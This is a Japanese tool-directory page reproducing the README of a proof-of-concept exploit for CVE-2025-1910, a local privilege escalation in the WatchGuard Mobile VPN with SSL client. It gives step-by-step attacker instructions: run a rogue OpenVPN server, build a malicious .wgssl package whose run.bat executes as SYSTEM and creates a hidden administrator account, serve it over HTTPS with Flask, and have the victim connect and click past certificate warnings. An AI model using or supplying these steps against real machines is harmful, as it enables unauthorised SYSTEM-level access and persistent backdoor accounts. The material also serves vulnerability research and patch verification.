Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-1910-WatchGuard-Privilege-Escalation — WatchguardのMobile VPN with SSLクライアントにおけるローカル権限昇格(CVE-2025-1910)を悪用するためのProof-of-Conceptです。 | Kitploit
ツール/GitHubGitHub/lutrasecurity/cve-2025-1910-watchguard-privilege-escalation
特権昇格ペイロード生成脆弱性分析エクスプロイト横移動ポストエクスプロイトペネトレーションテストコマンド&コントロールレッドチーミング

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHublutrasecurity/cve-2025-1910-watchguard-privilege-escalation

CVE-2025-1910-WatchGuard-Privilege-Escalation

WatchguardのMobile VPN with SSLクライアントにおけるローカル権限昇格(CVE-2025-1910)を悪用するためのProof-of-Conceptです。

リポジトリを見る
7ヶ月前未レビュー

WatchGuard Mobile VPN with SSL 特権昇格 (CVE-2025-1910)

WatchGuard の Mobile VPN with SSL 12.11.2 以下に存在する特権昇格の脆弱性により、低権限ユーザーがクライアント上で SYSTEM としてコマンドを実行できます。Mobile VPN with SSL バージョン 12.11.2 でテスト済みです。

詳細については、ブログ記事(ドイツ語版)をご覧ください。

悪用手順

攻撃者サーバー側の準備

  1. すべての接続を受け付ける OpenVPN サーバーを起動します。
root@kitploit:~
sudo openvpn --config server.conf

OpenVPNサーバーを起動した状態。

  1. ./client/client.ovpn 内の remote オプションを変更し、OpenVPN サーバーを指定します。

  2. ./client/run.bat を必要に応じて変更します。このスクリプトは SYSTEM として実行されます。デフォルトでは、新しい管理者ユーザー (shinyNewAdmin) が作成されます。

  3. 悪意のある WatchGuard client.wgssl ファイルを作成します。

root@kitploit:~
cd client/

# Create checksum
md5sum client.ovpn run.bat > MD5SUM

# Pack into a .wgssl file
tar -czf ../client_exploit.wgssl client.ovpn  MD5SUM  run.bat

cd ..
  1. 悪意のある client.wgssl ファイルを flask で配信します。
root@kitploit:~
# Start the flask HTTPS server
sudo python3 srv.py

flask Webサーバーを起動した状態。

必要に応じて、openssl で新しい証明書と鍵ペアを作成することもできます。

root@kitploit:~
# Create certificate and private key for the HTTPS connection
openssl req -x509 -newkey rsa:4096 -nodes -out server.crt -keyout server.key -days 365 -subj "/CN=firebox"

被害者マシンでの悪用手順

次に、脆弱性のあるバージョンの Mobile VPN with SSL がインストールされている被害者マシン(例: バージョン 12.11.2、ダウンロード)で、攻撃者サーバーへの接続を試みます。入力するユーザー名とパスワードは何でも構いません。

攻撃者サーバーに接続しているところ。

セキュリティ警告で Yes をクリックし、証明書の警告を無視します。

攻撃者サーバーに接続しているところ。

接続が正常に確立されると、run.bat ファイルが実行され、shinyNewAdmin ユーザーが作成されます。

shinyNewAdmin ユーザーが作成された状態。

セットアップ

攻撃者サーバーには、Python、openssl、openvpn がインストールされている必要があります。さらに、flask Python パッケージもインストールする必要があります。

root@kitploit:~
pip install -r requirements.txt

Nix Flake

Nix がインストールされていれば、開発シェルを起動するだけです。

root@kitploit:~
nix develop
ツールをダウンロード